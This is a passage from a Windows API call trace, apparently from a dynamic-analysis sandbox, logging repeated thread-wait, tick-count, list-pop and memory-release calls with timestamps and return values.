[0257.463] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0257.463] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0257.587] GetTickCount () returned 0x3fafb [0257.587] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0257.947] GetTickCount () returned 0x3fc62 [0257.947] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0257.947] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0257.948] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0258.010] GetTickCount () returned 0x3fca1 [0258.010] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0258.010] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0258.010] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0258.072] GetTickCount () returned 0x3fcdf [0258.072] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0258.072] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0258.072] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0258.478] GetTickCount () returned 0x3fe76 [0258.478] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0258.556] GetTickCount () returned 0x3fec4 [0258.556] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0258.556] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0258.557] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0258.682] GetTickCount () returned 0x3ff41 [0258.682] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0258.682] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0258.682] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0258.744] GetTickCount () returned 0x3ff7f [0258.744] GetTickCount () returned 0x3ff7f [0258.744] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0258.744] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0258.744] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0259.072] GetTickCount () returned 0x400c7 [0259.072] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0259.073] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0259.073] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0259.338] GetTickCount () returned 0x401d1 [0259.338] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0259.400] GetTickCount () returned 0x4020f [0259.400] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0259.400] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0259.400] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0259.713] GetTickCount () returned 0x40348 [0259.713] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0259.713] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0259.713] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0260.233] GetTickCount () returned 0x4054c [0260.233] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0260.233] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0260.233] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0260.279] GetTickCount () returned 0x4057a [0260.279] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0260.279] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0260.279] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0260.295] GetTickCount () returned 0x4058a [0260.295] GetTickCount () returned 0x4058a [0260.295] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0260.295] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0260.295] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0260.326] GetTickCount () returned 0x405a9 [0260.326] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0260.326] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0260.326] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0260.832] GetTickCount () returned 0x407ad [0260.832] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0260.832] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0260.832] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0260.951] GetTickCount () returned 0x4081a [0260.951] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0260.951] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0260.951] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0261.249] GetTickCount () returned 0x40943 [0261.249] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0261.576] GetTickCount () returned 0x40a8b [0261.576] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0261.577] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0261.577] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0261.889] GetTickCount () returned 0x40bc4 [0261.889] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0261.889] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0261.889] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0261.957] GetTickCount () returned 0x40c02 [0261.957] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0261.973] GetTickCount () returned 0x40c12 [0261.973] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0261.973] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0261.973] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0262.231] GetTickCount () returned 0x40d1c [0262.231] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0262.231] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0262.231] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0262.342] GetTickCount () returned 0x40d89 [0262.342] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0262.701] GetTickCount () returned 0x40ef0 [0262.701] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0262.701] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0262.701] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0262.771] GetTickCount () returned 0x40f2f [0262.771] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0262.771] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0262.771] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0262.829] GetTickCount () returned 0x40f6d [0262.829] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0262.829] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0262.829] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0263.295] GetTickCount () returned 0x41142 [0263.295] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0263.389] GetTickCount () returned 0x411a0 [0263.389] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0263.389] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0263.389] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0263.498] GetTickCount () returned 0x4120d [0263.498] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0263.498] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0263.498] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0263.579] GetTickCount () returned 0x4125b [0263.579] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0263.579] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0263.579] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0263.920] GetTickCount () returned 0x413b3 [0263.920] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0263.920] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0263.920] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0264.140] GetTickCount () returned 0x4148e [0264.140] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0264.263] GetTickCount () returned 0x4150b [0264.263] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0264.263] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0264.263] VirtualFree (lpAddress=0x8101000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.264] VirtualFree (lpAddress=0x8102000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.264] VirtualFree (lpAddress=0x8103000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.264] VirtualFree (lpAddress=0x8104000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.264] VirtualFree (lpAddress=0x8105000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.265] VirtualFree (lpAddress=0x8106000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.265] VirtualFree (lpAddress=0x8107000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.265] VirtualFree (lpAddress=0x8108000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.265] VirtualFree (lpAddress=0x8109000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.266] VirtualFree (lpAddress=0x810a000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.266] VirtualFree (lpAddress=0x810b000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.266] VirtualFree (lpAddress=0x810c000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.266] VirtualFree (lpAddress=0x810d000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.266] VirtualFree (lpAddress=0x810e000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.267] VirtualFree (lpAddress=0x810f000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.267] VirtualFree (lpAddress=0x8110000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.267] VirtualFree (lpAddress=0x8111000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.267] VirtualFree (lpAddress=0x8112000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.267] VirtualFree (lpAddress=0x8113000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.268] VirtualFree (lpAddress=0x8114000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.268] VirtualFree (lpAddress=0x8115000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.268] VirtualFree (lpAddress=0x8116000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.268] VirtualFree (lpAddress=0x8117000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.268] VirtualFree (lpAddress=0x8118000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.269] VirtualFree (lpAddress=0x8119000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.269] VirtualFree (lpAddress=0x811a000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.269] VirtualFree (lpAddress=0x811b000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.269] VirtualFree (lpAddress=0x811c000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.269] VirtualFree (lpAddress=0x811d000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.270] VirtualFree (lpAddress=0x811e000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.270] VirtualFree (lpAddress=0x811f000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0264.270] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0264.544] GetTickCount () returned 0x41624 [0264.545] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0264.545] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0264.545] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0265.050] GetTickCount () returned 0x41828 [0265.050] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0265.050] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0265.050] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0265.143] GetTickCount () returned 0x41885 [0265.143] VirtualFree (lpAddress=0x8122000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.144] VirtualFree (lpAddress=0x8123000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.144] VirtualFree (lpAddress=0x8124000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.144] VirtualFree (lpAddress=0x8125000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.145] VirtualFree (lpAddress=0x8126000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.145] VirtualFree (lpAddress=0x8127000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.145] VirtualFree (lpAddress=0x8128000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.145] VirtualFree (lpAddress=0x8129000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.146] VirtualFree (lpAddress=0x812a000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.146] VirtualFree (lpAddress=0x812b000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.146] VirtualFree (lpAddress=0x812c000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.147] VirtualFree (lpAddress=0x812d000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.147] VirtualFree (lpAddress=0x812e000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.147] VirtualFree (lpAddress=0x812f000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.147] VirtualFree (lpAddress=0x8130000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.148] VirtualFree (lpAddress=0x8131000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.148] VirtualFree (lpAddress=0x8132000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.148] VirtualFree (lpAddress=0x8133000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.149] VirtualFree (lpAddress=0x8134000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.149] VirtualFree (lpAddress=0x8135000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.149] VirtualFree (lpAddress=0x8136000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.149] VirtualFree (lpAddress=0x8137000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.150] VirtualFree (lpAddress=0x8138000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.150] VirtualFree (lpAddress=0x8139000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.150] VirtualFree (lpAddress=0x813a000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.151] VirtualFree (lpAddress=0x813b000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.151] VirtualFree (lpAddress=0x813c000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.151] VirtualFree (lpAddress=0x813d000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.152] VirtualFree (lpAddress=0x813e000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.152] VirtualFree (lpAddress=0x813f000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0265.152] GetTickCount () returned 0x41885 [0265.152] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0265.152] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0265.152] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0265.159] GetTickCount () returned 0x41895 [0265.159] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0265.159] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0265.159] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0265.190] GetTickCount () returned 0x418b4 [0265.190] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0265.190] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0265.190] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0266.357] GetTickCount () returned 0x41d39 [0266.357] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0266.357] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0266.357] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0266.468] GetTickCount () returned 0x41da6 [0266.468] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0266.468] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0266.468] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0266.669] GetTickCount () returned 0x41e71 [0266.669] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0266.935] GetTickCount () returned 0x41f7b [0266.935] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0266.935] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0266.935] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0267.232] GetTickCount () returned 0x420a4 [0267.232] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0267.232] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0267.232] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0267.325] GetTickCount () returned 0x42101 [0267.325] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0267.325] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0267.325] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0267.560] GetTickCount () returned 0x421ec [0267.560] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0267.560] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0267.560] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0267.763] GetTickCount () returned 0x422b7 [0267.763] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0268.888] GetTickCount () returned 0x4271c [0268.888] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0268.888] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0268.888] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0268.965] GetTickCount () returned 0x4276a [0268.965] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0268.966] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0268.966] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0269.154] GetTickCount () returned 0x42825 [0269.154] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0269.154] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0269.154] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0269.991] GetTickCount () returned 0x42b71 [0269.991] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0270.107] GetTickCount () returned 0x42bdf [0270.107] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0270.107] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0270.107] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0270.214] GetTickCount () returned 0x42c4c [0270.214] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0270.214] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0270.214] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0270.261] GetTickCount () returned 0x42c7b [0270.261] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0270.307] GetTickCount () returned 0x42caa [0270.307] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0270.307] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0270.307] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0270.636] GetTickCount () returned 0x42df2 [0270.636] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0270.636] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0270.636] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0275.812] GetTickCount () returned 0x44226 [0275.812] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0276.453] GetTickCount () returned 0x444a6 [0276.453] 